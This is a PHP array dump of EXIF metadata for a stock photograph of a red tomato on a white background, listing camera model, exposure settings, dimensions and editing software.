    [FILE] => Array
        (
            [FileName] => IMG_7378.jpg
            [FileDateTime] => 1198952415
            [FileSize] => 1240033
            [FileType] => 2
            [MimeType] => image/jpeg
            [SectionsFound] => ANY_TAG, IFD0, THUMBNAIL, EXIF
        )

    [COMPUTED] => Array
        (
             => width="2664" height="2304"
            [Height] => 2304
            [Width] => 2664
            [IsColor] => 1
            [ByteOrderMotorola] => 0
            [CCDWidth] => 17mm
            [ApertureFNumber] => f/18.0
            [Thumbnail.FileType] => 2
            [Thumbnail.MimeType] => image/jpeg
        )

    [IFD0] => Array
        (
            [ImageDescription] => Red Tomato isolated on white background
            [Make] => Canon
            [Model] => Canon EOS 350D DIGITAL
            [Orientation] => 1
            [XResolution] => 2400000/10000
            [YResolution] => 2400000/10000
            [ResolutionUnit] => 2
            [Software] => Adobe Photoshop CS3 Windows
            [DateTime] => 2007:12:29 19:20:14
            [Artist] => Marcin Mamala
            [Exif_IFD_Pointer] => 296
        )

    [THUMBNAIL] => Array
        (
            [Compression] => 6
            [XResolution] => 72/1
            [YResolution] => 72/1
            [ResolutionUnit] => 2
            [JPEGInterchangeFormat] => 798
            [JPEGInterchangeFormatLength] => 3028
        )

    [EXIF] => Array
        (
            [ExposureTime] => 1/20
            [FNumber] => 18
            [ExposureProgram] => 1
            [ISOSpeedRatings] => 100
            [ExifVersion] => 0221
            [DateTimeOriginal] => 2007:12:29 18:06:50
            [DateTimeDigitized] => 2007:12:29 18:06:50
            [ShutterSpeedValue] => 4321928/1000000
            [ApertureValue] => 833985/100000
            [ExposureBiasValue] => 0/2
            [MaxApertureValue] => 434375/100000
            [MeteringMode] => 5
            [Flash] => 16
            [FocalLength] => 43
            [ColorSpace] => 65535
            [ExifImageWidth] => 2664
            [ExifImageLength] => 2304
            [FocalPlaneXResolution] => 3456000/874
            [FocalPlaneYResolution] => 2304000/582
            [FocalPlaneResolutionUnit] => 2
            [CustomRendered] => 0
            [ExposureMode] => 1
            [WhiteBalance] => 0
            [SceneCaptureType] => 0
        )

)